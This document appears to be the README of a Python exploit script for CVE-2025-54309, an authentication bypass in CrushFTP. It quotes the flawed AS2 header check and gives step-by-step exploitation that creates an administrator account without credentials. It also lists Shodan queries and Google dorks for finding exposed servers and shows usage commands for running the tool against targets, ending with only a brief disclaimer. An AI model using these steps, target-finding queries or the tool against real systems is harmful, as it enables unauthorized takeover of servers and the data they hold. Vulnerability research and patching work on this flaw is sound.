CVE-2025-54309 CrushFTP Authentication Bypass

Overview

CVE-2025-54309 is an authentication bypass vulnerability in CrushFTP that allows unauthorized administrative user creation through AS2 header manipulation.

Technical Details

Vulnerability Location

• File: crushftp/server/ServerSessionHTTP.java
• Method: loginCheckHeaderAuth() (line 2285)
• Root Cause: Improper AS2 header validation logic

Vulnerable Code

} else if (this.headerLookup.containsKey("as2-to".toUpperCase())) {
    if (this.headerLookup.getProperty("as2-to".toUpperCase()).trim().indexOf("-_-") < 0 && !ServerStatus.BG("blank_passwords")) {
        return;  // Authentication bypass occurs here
    }

Exploitation Method

1. Send POST request to /WebInterface/function/ with empty AS2-To header
2. Include setUserItem command in request body
3. Server bypasses authentication due to missing -_- delimiter in AS2-To header
4. Administrative user gets created without proper authentication

Affected Versions

• CrushFTP 10.x < 10.8.5
• CrushFTP 11.x < 11.3.4_23

Shodan query

• http.server_hash:525710691,-1319113083,2114359341,1401270286,-608770667
• http.favicon.hash:-1022206565
• "/WebInterface/w3c/p3p.xml"

Google dorks

• intitle:"CrushFTP WebInterface"
• inurl:"/WebInterface/login.html"

Usage

python3 cve_2025_54309.py <target_url> [-u username] [-p password] [-v]

Examples

# Basic exploitation
python3 cve_2025_54309.py http://crushftp.example.com:8080

# Custom credentials
python3 cve_2025_54309.py https://crushftp.example.com -u kali -p kali1

# With login verification
python3 cve_2025_54309.py http://crushftp.example.com -v

Requirements

• Python 3.x
• requests library

Disclaimer

This tool is for authorized security testing only. Users are responsible for compliance with applicable laws and regulations.